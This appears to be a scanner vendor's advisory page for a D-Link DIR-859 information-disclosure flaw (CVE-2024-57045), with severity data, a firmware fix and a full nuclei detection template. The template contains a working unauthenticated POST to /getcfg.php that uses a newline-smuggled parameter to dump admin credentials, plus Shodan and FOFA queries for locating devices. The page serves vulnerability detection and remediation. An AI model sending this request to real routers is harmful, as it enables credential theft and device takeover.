D-Link DIR-859 - Information Disclosure

criticalseverity

9.8CVSS score

32.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

A critical information disclosure vulnerability exists in D-Link devices where sensitive device account information including credentials can be retrieved by sending an unauthenticated request to `/getcfg.php` endpoint with the parameter `SERVICES=DEVICE.ACCOUNT`. This could allow attackers to obtain administrative credentials and gain full control of the affected device.

Impact

Unauthenticated attackers can retrieve administrative credentials and sensitive device account information, enabling full device compromise.

Fix

Update D-Link DIR-859 router to the latest firmware version that addresses CVE-2024-57045 as specified in D-Link's security bulletin.

How to confirm it

Send: POST /getcfg.php
Positive when: contains "<name>" and "<password>" and "<account>" AND contains in content_type "text/xml" AND status 200

Run it with nuclei: nuclei -id CVE-2024-57045 -u <target>

The full check

id: CVE-2024-57045

info:
  name: D-Link DIR-859 - Information Disclosure
  author: ritikchaddha
  severity: critical
  description: |
    A critical information disclosure vulnerability exists in D-Link devices where sensitive device account information including credentials can be retrieved by sending an unauthenticated request to `/getcfg.php` endpoint with the parameter `SERVICES=DEVICE.ACCOUNT`. This could allow attackers to obtain administrative credentials and gain full control of the affected device.
  impact: |
    Unauthenticated attackers can retrieve administrative credentials and sensitive device account information, enabling full device compromise.
  remediation: |
    Update D-Link DIR-859 router to the latest firmware version that addresses CVE-2024-57045 as specified in D-Link's security bulletin.
  reference:
    - https://www.dlink.com/en/security-bulletin
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57045
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-57045
    cwe-id: CWE-200
    epss-score: 0.32222
    epss-percentile: 0.98333
  metadata:
    max-request: 1
    verified: true
    shodan-query: title:"D-Link"
    fofa-query: title="D-Link"
    vendor: D-Link
  tags: cve,cve2024,dlink,disclosure,unauth,vuln


http:
  - raw:
      - |
        POST /getcfg.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<name>"
          - "<password>"
          - "<account>"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from